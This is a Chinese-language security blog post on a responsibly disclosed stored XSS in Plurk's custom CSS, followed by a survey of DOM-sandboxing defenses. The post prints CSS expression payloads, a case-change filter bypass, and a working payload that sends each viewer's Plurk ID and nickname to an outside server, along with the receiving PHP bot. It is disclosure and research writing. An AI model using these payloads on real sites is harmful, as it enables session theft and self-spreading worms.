五、從兩方面觀察:A) 散播 Web 攻擊之伺服器所屬地區 以及 B) 諸多使用者確實被攻擊之案例,此為有組織性,有目的性之 Web 攻擊行為,其攻擊手法的確會造成威脅,並確實可以達到攻擊者的目的。

六、防禦的方法:可以選擇使用 firefox 外掛 noscriptFlashBlock

看了上述事實陳列,您認為福爾韋恩這次的調查分析正確嗎?

;-)

作者 Wayne 為阿碼科技 CEO

後續:BBC 過了幾天也報導了這個剪貼簿綁架事件

繼續閱讀全文...

2009年6月27日

誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)


上星期天下午,下大雨,沒法出去,隨手開了Plurk,想到了Plurk之前公開的「XSS挑戰」,只要找到漏洞,證明並回報的噗友,就有Plurk hacker勳章可以拿,之前我也很快地寫了一隻蠕蟲demo並回報。(不用懷疑,當然沒有真的拿來使用)

開了瀏覽器,沒有用什麼工具,就徒手在瀏覽器上玩來玩去,結果一下子,找到一個預存式XSS(stored cross-site scripting,因先儲存至預存式的資源譬如資料庫後再於取出時造成攻擊,又稱預存式XSS),寫了一小段poc程式,確定可以偷cookie,然後又寫了一個蠕蟲的 poc 程式。原本想立刻把poc程式寄給Plurk回報,但又覺得這些東西沒什麼新意,這樣回報很無聊。可是那寫什麼demo來回報呢?

這時突然想到以前的irc機器人,好吧,那就寫一個跟irc一樣的自動打招呼機器人好了,順便回味一下irc的年代。直接在瀏覽器上寫完,還真的可以用,只要在有登入噗浪的狀態下,用IE(<=7)來訪問我的Plurk頁面,機器人都會自動跟您打個招呼(不會偷cookie)。寫完把範例程式寄給Plurk,真快,不到一小時就收到回信,不到一天就改好了,這種速度比起其他網站,真是夠快了。問了他們可否寫篇blog,Plurk說沒問題,反正都修好了,嗯,謝謝,真是很nice!

整個測試的過程中,我一直想到「以 DOM 為基礎之沙盒(DOM-based sandboxing)」之概念。XSS(cross-site scripting,跨網站腳本漏洞)根本不應該這麼難預防的;問題主要出在當初W3C與瀏覽器團隊在定義各種規格時,真的太少考慮到資安的需求了。也或許是這樣,才造就了Web與Web 2.0這麼快速的成長吧(限制很少,很好學,很好寫)!以這次回報的XSS來說,DOM-based sandboxing(DBS)是最直覺的解決方式;我們先看看這個漏洞。

[XSS弱點範例]

噗浪很令人喜愛的功能之一,是可以自己寫(或上傳)CSS,讓每一個人可以有自己的噗浪頁面。在「Profile」旁邊有一個「edit」,按下去並選擇「Customize profile」,就可以自己填入CSS。上次我回報蠕蟲漏洞,主要是那時幫朋友改code,接觸到Plurk API,而注意到漏洞。當時並沒有仔細玩噗浪的介面。這時一玩,wow,可以自己寫CSS,那麼這個功能很有可能出現漏洞。CSS 裡頭的XSS攻擊點,可以參考RSnakeXSS Cheat Sheet;以IE(<=7)為例,主要可說有兩種:

1. CSS 內可造成 javascript 執行,範例如:

body {background-image: url("javascript:alert('XSS')");}

2. CSS 內利用expression 造成 javascript 執行,範例如

body {background-image: expression(alert("XSS"));}

(範例一)

我們來分析一下要如何做攻擊測試。Html中有很多方式可以設定 css;可以是後端程式產生,寫死在 HTML 裡,可以是前端 javascript 以document.write()方式動態產生,也可以是前端javascript以動態建構出新的 DOM 元素(element)來產生。看一下Plurk的源碼,可以發現產生方式如下:

B = document.createElement("link");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
document.getElementsByTagName("head")[0].appendChild(B);
(程式一)

根據RSnakeXSS Cheat Sheet,(範例一)中的攻擊點(1),只對IE6有效,那我們先選攻擊點(2)「expression」來試看看好了,在介面中填入:

body {background-image: expression(alert("XSS"));}
(程式二)

(暗:(1)真的只對IE6有效嗎? ;) )

按下「Save and update」,果然有過濾,CSS中不能有「expression」,也不能有「javascript」或「@import」等關鍵字。

嗯嗯,大概是用正規表示式過濾的吧!那把「expression」改成「Expression」呢?Umm...結果就通過了...原來過濾時沒有考慮到大小寫問題;這麼簡單一點小疏失,就會造成了一個預存式XSS,不但可以偷餅乾,更適合寫蠕蟲;事實上,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡這裡這裡),都是利用了使用者profile中的預存式XSS,只要訪問了受感染使用者的頁面,就會被感染。以MySpace為例,當時以上(1)與(2)兩個攻擊點都存在,而Samy蠕蟲也同時運用了這兩個攻擊點。

接下來就用css的Expression寫一下XSS的程式吧:

body {background-color: Expression( if ( (typeof doneonce == 'undefined') ) { void( doneonce = {testit: function () {dddd = new Image(16,16);dddd.src = "http://553lab.org/plurk/hello.php?x=[" + GLOBAL.session_user.uid + "][" + GLOBAL.session_user.nick_name+"]";}} ) + doneonce.testit() } );}
(程式三)

上面這個程式中,我們用夾帶在body中的Expression寫javascript,動態產生一個image,其url為:http://553lab.org/plurk/hello.php?x=[user_id][nick_name]。程式會使IE發一個GET到我們的hello bot(hello.php),並夾帶兩個參數,分別取自Plurk的javascript程式中的變數:GLOBAL.session_user.uid為目前使用者的id,而GLOBAL.session_user.nick_name為目前使用者的nick。為何不用hello.php?x=user_id&y=nick這樣的格式?因為Plurk會將「&」htmlencode成&amp;,所以乾脆改成只用一個參數「x」,資料則用[]來隔開。

後端hello.php程式如下:

<html><head><title>Plurk XSS demo by Armorize</title></head>
<body><b>XSS hello bot by wayne[_at_]armorize.com<br>Only works in IE<br></b>
<?
// Uses RLPlurkAPI by Ryan Lim <plurk-api@ryanlim.com>
require 'RLPlurkAPI.php';

//ini_set('display_errors','1');
//error_reporting (E_ALL);

$dovalidation_1 = true; $dovalidation_2 = true;
$publicplurk = true; // plurk disallows private plurks to none-friends

$cip = $_SERVER['REMOTE_ADDR'];

preg_match_all("/\\[([^\\]]*)\\]/", $_GET["x"], $results);

$g_id = $results[1][0]; $g_nick = $results[1][1];

$nick_name = $results[1][2];

if ($nick_name=="") $nick_name = "armorize_wayne";

$logf1 = "log/visited.txt"; $logf2 = "log2/visited.txt";

if ($dovalidation_1) if (!ereg("^[a-zA-Z0-9_]*$", $g_nick) || !is_numeric($g_id) || ((int)$g_id)<0 || !preg_match("/^http[s]*:\/\/www.plurk.com\//", $HTTP_REFERER)) $errorlog= "bad format or referer";

if (!$errorlog && $dovalidation_2) validate_user_then_log($g_id, $g_nick, $cip, $errorlog, $logf1, $logf2, $nick_name);

if (!$errorlog && get_my_password($nick_name, $password)) {
$plurk = new RLPlurkAPI();
$plurk->login($nick_name, $password);
$rand_msg = array("welcome, ", "greetings, ", "hello, ", "hi, ", "how's it going, ", "thanks for coming, ", "good day, ", "have fun, ", "enjoy, ", "have a nice day, ", "g'day, ", "thanks for stopping by, ", "have a good time, ");
$rand_num = rand(0, count($rand_msg)-1);

$msg = $rand_msg[$rand_num]."@".$g_nick."!";
if ($publicplurk)
$plurk->addPlurk('en', 'says', $msg);
else
$plurk->addPlurk('en', 'says', $msg, true, array($g_id));
echo "msg: ".$msg."<br>";
}

function validate_user_then_log($id, $nick, $ip, &$errorlog, $filename, $filename2, $visitedwho) {
$visitors = array();
$visitors = read_file($filename, 50000);
$visitors_set = array();
$ip_set = array();
foreach ($visitors as $value) {
preg_match_all("/\\[([^\\]]*)\\]/", $value, $results);
if (!array_key_exists($results[1][3], $visitors_set)) $visitors_set[$results[1][3]] = $results[1][4];
if (!array_key_exists($results[1][5], $ip_set)) $ip_set[$results[1][5]] = $results[1][4];
}

if (!$error_log) {
if (array_key_exists($id, $visitors_set)) {
$last_time = strtotime($visitors_set[$id]);
if ((time()-$last_time)<3600) {$errorlog="same id";}
}
if (array_key_exists($ip, $ip_set)) {
$last_time = strtotime($ip_set[$ip]);
if ((time()-$last_time)<3600) {$errorlog="same ip";}
}
}
// id to nick doesn't require loggin in, so I don't want to use RLPlurkAPI for this. Just make a quick call myself
$json = new Services_JSON();
$value = $json->decode(file_get_contents("http://www.plurk.com/Users/fetchUserInfo?user_id=".$id));

if ($value->nick_name!=$nick) $errorlog="id nick mismatch";

$fh = fopen($filename, 'a');
$logstr= "[".$value->full_name."] [".$value->nick_name."] [".$value->display_name."] [".$id."] [".date("Y-m-d H:i:s")."]\n";
fwrite($fh, $logstr);
fclose($fh);
$fh = fopen($filename2, 'a');
$logstr = "User ".$value->full_name." (".$value->nick_name.") or (".$value->display_name.") visited user: ".$visitedwho." on ".date("Y-m-d H:i:s").", ".$errorlog."\n";
fwrite($fh, $logstr);
fclose($fh);
}

//below from php.net examples page
function read_file($file, $lines)
{
$handle = fopen($file, "r");
$linecounter = $lines;
$pos = -2;
$beginning = false;
$text = array();
while ($linecounter > 0) {
$t = " ";
while ($t != "\n") {
if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true;
break;
}
$t = fgetc($handle);
$pos --;
}
$linecounter --;
if($beginning) rewind($handle);
$text[$lines-$linecounter-1] = fgets($handle);
if($beginning) break;
}
fclose ($handle);
return $text;
}

function get_my_password($nick, &$pass) {
$accounts = parse_ini_file("log/accounts.ini");
if (array_key_exists($nick, $accounts)) {
$pass = $accounts[$nick]; return true;
} else return false;
}

?></body></html>
(程式四)

主要程式為29行至41行,基本上就是利用Plurk API發一個噗,跟訪問者打招呼。其他程式主要是防止機器人被濫用。因為這個機器人是以我的名義噗,如果只是照著「http://553lab.org/plurk/hello.php?x=[user_id][nick_name]」來發:Welcome, nick_name,那麼別人直接hello.php?x=[][I'm an idiot],發出來的噗就很好玩了。另外寫個script每一分鐘load一次hello.php,我就要一分鐘噗一次了。validate_user_then_log()含式主要就做這件事,機器人檢查:

1. referer要是www.plurk.com (22行,當然只能防君子)
2. id要跟nick對應,這是為何當出id與nick兩個參數都要傳給hello.php的原因 (65-67行)
3. 同一個id來訪,每一個小時只噗一次 (55-58行)
4. 同一個IP來訪,每一個小時只噗一次 (59-63行)

這樣除非真的有人閒到註冊一個Plurk帳號,取一個nick代表他想讓機器人噗的訊息,例如帳號是「I_am_an_idiot」,那麼機器人就會噗:「Hello, @I_am_an_idiot!」。不會有人那麼有閒吧?結果就真的發生了 XDDDDDD

程式很快寫好了,自己玩了一下,確定可以work。發現我的PHP已經生鏽了,但是還是立刻email給Plurk。過了一天,Plurk修正了。是不是真的修對了?還沒時間仔細看,不過至少以上攻擊不會成功了。就這樣機器人就擺著沒動,我也忙別的去了。

星期六晚上,看到朋友留的msn,說我的plurk一直跟「XSS」打招呼,趕快上去看了一下:

咦,我的噗浪頁面人氣幾乎都是零,怎麼這個XSS對我那麼有興趣?忙完事情又過了幾個小時,回來一看,XSS註冊了一個I_know_Armorize_sucks,嗯嗯,好好...看一下XSS這個帳號,沒朋友,看不出是誰,這麼神秘,怎麼查呢...

其實不用啦,圈子就這麼點大,跟我一樣無聊,週末不出去玩掛在網路上,半夜不睡覺來我的噗浪,然後還很有閒註冊這樣的噗浪帳號...ao大與px大,你們好啊,歡迎大駕光臨~~ 不要把我的bot玩壞了 :)

[以DOM為基礎之沙盒]

當初測試完這個預存式XSS,腦袋就停不下來一直想DOM sandboxing,以及今年Robert Morris帶學生做的一篇論文:「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),今年四月發表於EuroSys'09(德國)。Robert Morris(rtm)的父親Robbert "Bob" Morris是美國國家安全局「國家電腦安全中心」之首席科學家。rtm於Cornell讀研究所時,釋放了Morris蠕蟲(Morris worm),為最早的蠕蟲之一,造成Internet癱瘓,他父親差點因此而丟了工作,當然rtm本身也被起訴,最後罰了一些錢以及社會服務。有趣的是,當時rtm是由MIT(麻省理工學院)而非自己就讀的Cornell網路來釋放蠕蟲,試圖混淆追中,而他目前則是MIT的教授,此篇論文是他帶學生在MIT做的。

從(程式二)中我們可以看到,Plurk是利用javascript動態地產生一個「link」元件,然後將role利用「rel」指定成「stylesheet」,將mime-type利用「type」設定成「text/css」,最後將css來源用「href」設定好,使用者的個人css就這樣被動態載入了。用javascript動態產生DOM元素的方法很多,譬如很多人喜歡用最簡單的doument.write()方式,但是用document.write(),就像是把字串連起來組成一個SQL指令一樣,沒有參數化的概念,即使有過濾,仍有風險。以資安的角度來看,Plurk的方式則含有參數化的概念,為較佳的建構方式。

可是我們仔細想想,Plurk用javascript建構此「link」元件時,就已經可以確定該元件不可以在css中接受expression或執行javascript。如果W3C的HTML Working GroupWHATWG讓HTML規格有支援(或瀏覽器開發團隊直接讓瀏覽器有支援)DOM sandboxing,那麼就可以很容易降低XSS的風險了。譬如我們可以簡單想像一下:

1. 每一個DOM元素都有一個attribute叫做「sandbox」,裡頭可以設多重限制,利用空白隔開,例如:

<link sandbox="disable_javascript" rel="..."...>

表示這個「link」元素不可以執行javascript,或甚至:

<script sandbox="disable_cookie_access">
... javascript code...
</script>

表示這段javascript不准許存取cookies。

2. 「sandbox」attribute,可以被javascript設定,但是每次設定只能增加限制,而不能放寬限制。

3. 子元素直接繼承母元素之「sandbox」attribute,並根據(2),只能增加限制而不能檢少限制。

以上是我很快「想像一下」來的DOM sandboxing,不過大概就是這種概念。如果有這種支援,那麼Plurk可以將程式改成:

B = document.createElement("link");
B.setAttribute("sandbox", "disable_javascript");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
B.setAttribute("href", User_Supplied_Data);
document.getElementsByTagName("head")[0].appendChild(B);
(程式五)

這樣子的話,即使後端程式沒有過濾好,瀏覽器也將提供某種程度的XSS防禦。

DOM sandboxing一直有被提出,但是記憶中開始比較多人講,應該是2007年。學界中做Web研究,最好的會議之一是WWW,為ACM與W3C合辦,每年5月舉行(我們於'03與'04投上過兩次,兩次都被提名當年最佳論文)。WWW 2007有一篇令我印象深刻,馬大與AT&T合作的:「Defeating Script Injection Attacks with Browser Enforced Embedded Policies」,或稱BEEP(計畫網頁paper投影片)。BEEP提出了一個javascript hook的概念,利用javascript hook來檢查合法與非法的javascript,並決定何者可以執行。此模型並不漂亮,用javascript hook來描述表達一個網頁的安全模型,太過繁瑣,等於把很多工作加諸於Web程式設計師,這樣不但難用,風險也大。另外,此作法必須修改瀏覽器。雖然有這些缺點,BEEP卻是很早就提出DOM sandboxing概念,故有其參考性。

2007年我記得的另一篇,是Benjamin Livshits於2007年6月PLAS'07發表的「Using Web Application Construction Frameworks to Protect Against Code Injection Attacks」。Livshits是Stanford大學Monica Lam的博士班學生,拿到博士後加入微軟研究院。預存式提出的DOM sandboxing概念,在實做上可以利用修改既有的前端ajax framework來達成,而不需要修改瀏覽器;在實做上,Livshits是修改了dojo toolkit來示範。Livshits提的原理很簡單,延續javascript的相同來源政策(same origin policy),對於每一個DOM元素多定義一個attribute:「pricipal」,只有相同principal的元素才能彼此存取。這樣的sandboxing很好用,譬如可以定義網頁的廣告區不能存取其他區域以及cookie,但是缺點是描述表達能力有限。

以上這兩篇發表日期很接近,也都是很好的會議,算是2007年這方面研究的代表。兩篇都有引述我們於WWW 2004發表的源碼檢測技術WebSSARI,Livshits提到用源碼檢測來找出Web應用程式漏洞時,引述WebSSARI說:「The WebSSARI project pioneered this line of research(WebSSARI計畫開創出了這一系列的研究)」。最近很多競爭對手抹黑我們是:「不知哪裡冒出來的一群hackers」。對,我們是hackers沒錯,但是我們不是出師無門的hackers :)

另外2007年時當然不是只有學界在談 DOM sandboxing。其實2007年5月時,WHATWG的list上就已經蠻多關於DOM sandboxing的討論,RSnake就於也在8月時於其blog上寫了一篇:「Content Restrictions - A Call For Input」,徵求大家對於DOM sandboxing的意見,也引來廣泛的討論。

經過了兩年,回頭來看今年Robert Morris的「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),可以發現這方面研究進步了不少。BFlow的安全模型,是由瀏覽器動態地控管資料的流動,來避免資料被不當的取得。現在很多網頁都允許widget,這個模型就很適合,以下我們以Blogger為例。阿碼的blog就是放在Blogger上。Blogger允許在頁面上加入來自其他網站的widget,而BFlow的模型就可以限制這些widget對於資料的存取。例如以下,BFlow動態追蹤不同DOM元素間資料的存取與交換,如果一個外部widget沒有存取到被定義為機密的資料,那麼允許往外部網站發request(例如img),反之,則限制所有發出的request只能發給機密資料所屬的網站。


BFlow是由後端的網站程式對於每一份資料加註一個tag來定義其安全限制。如果兩個擁有不同tag的資料在client端被結合在一起呢?BFlow與WebSSARI一樣,採用1976年由Denning-Denning定義的lattice model,來決定結合後的新安全限制。

從剛才談到現在,我們自己提出了(程式五),也談了Livshits、BEEP以及Morris的解法。有趣的是,這四種解法,主旨都不在「過濾」或「偵測」惡意的字串,而在「限制」非法程式能執行的範圍。在以上四個例子中,惡意字串都還是會被插入合法程式中,或甚至被當成javascript執行,只是其範圍被限制住了,不能達成最終的目的,例如偷竊機密資料等行為。例如在(程式五)中,我們並沒有去判斷User_Supplied_Data所帶來的字串,是否含有惡意攻擊內容,我們只是利用程式模型配合參數化概念,限制了該DOM元素執行javascript之能力。(程式五)的解法看似漂亮,但是如果程式設計師的寫法是利用document.write()這種不帶任何參數化的概念來動態產生DOM元素,那麼又可以如何在client端避免XSS呢?今年2月的NDSS會議有兩個有趣的研究:Yacin提出的Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense以及Gundy提出的「Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks」。Yacin提出的DSI(document structure integrity)其主要的概念是,先由後端伺服器程式決定DOM的合法動態與靜態結構,那麼在client端執行時,如果發現DOM結構不符合定義,就可以假設DOM結構被惡意破壞或惡意竄改了(ex: document.write()中含有tag <script>),而禁止執行。Gundy提出的Nonspaces,其實基本概念差不多,只是實做上不同,randomization的方式也不同--Nonspaces用xml namespaces,而DSI用randomized delimeters。

都是有創意的解法,而且一個會議竟然兩篇這麼相似,表示大家想法其實都差不多。看來蠻猛的嗎?概念不錯,但是很快都被破解了。上個月的Web 2.0 Security AND Privacy(W2SP)2009會議上,來自希臘的Athanasopoulos團隊發表了一篇:「Code Injection Attacks in Browsers Supporting Policies」,對上述的DSI、Noncespaces,連帶BEEP,都提出了具體破解的方法。Anthanasopoulos認為DOM沙盒之不可行,在於目前一個大型的網站中,DOM元素過多,要一一定義,並不容易,在執行面也有困難。他們提出的方法是將動態所產生的javascript做區隔,並限制其行為。該團隊目前正著手將其概念實做於firefox瀏覽器上。

討論了這麼多DOM沙盒與瀏覽器上之XSS預防,如果沒有講到最近Brendan Eich(Mozilla CTO)的演講,那就太可惜了。上個月的W2SP會議是由Eich開場的,題目是:「Improving JavaScript's Default Security Model Without Breaking the Web」(講義)。除了列出目前javascript安全的挑戰外,Brendan也概述了目前Mozilla對於這方面的努力--包含動態tainting方面的研究(困難點之一為如何讓保持interpreter的速度)。Brendan也提及了Mozilla在這方面的一個新計畫:FlowSafe,為Mozilla與Cormac Flanagan以及Michael Franz合作的計畫。咦?Flanagan?沒錯。Flanagan算是學界在靜態分析、源碼檢測與tainting分析上有名前輩(Java靜態分析工具ESC/Java就是他做的),這個計畫應該能有很實際的影響力。雖然Brendan在演講中並沒有特別提,但是會議後不久,他的同事Brandon Sterne,也就是Mozilla的Security Program Manager,寫了一篇blog「Shutting Down XSS with Content Security Policy」,介紹Mozilla的CSP計畫。

CSP採白名單方式,可以讓網站定義出合法的javascript有哪些,沒有在定義內的則視為非法。CSP在使用時,要求一個網頁所有的javascript都來自外部(<script src="">),而不可內嵌。由於所有javascript都來自外部,網站管理者就可以定義合法的來源,而瀏覽器會將其他來源視為非法。雖然這種要求與目前大部分人寫javascript的習慣大易其趣,但不論從FlowSafe或CSP中,都可以看出Mozilla在對付XSS上的努力。

縱深防禦(layered security)」是一個有用的概念,資源許可下的多層防禦絕對有其投資報酬。談了這麼多client端對付XSS的方法,都只是補強程式設計者本身犯的錯誤。能在伺服器端就修掉的XSS漏洞,或能夠在程式中就直接避免的,應儘量先修掉。Client端的種種防禦技術,可以用來補強,或者在無法直接從後端修補的情況下採用。在我們許多大型網站的導入經驗中,漏洞的修復往往是整個專案中最複雜的部分之一。已經運行多時的既有系統,在找出漏洞後,往往面臨種種因素,而無法直接、直覺或用標準方式來修復。Web資安之難,在於攻擊變化之多;漏洞修補之美,亦於方法選擇之多。如何能夠最有效率並以最低成本幫對方把漏洞修復,不斷考驗著資安團隊的經驗與知識。

作者Wayne為阿碼科技一員
系列第一篇:(本篇)誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!
繼續閱讀全文...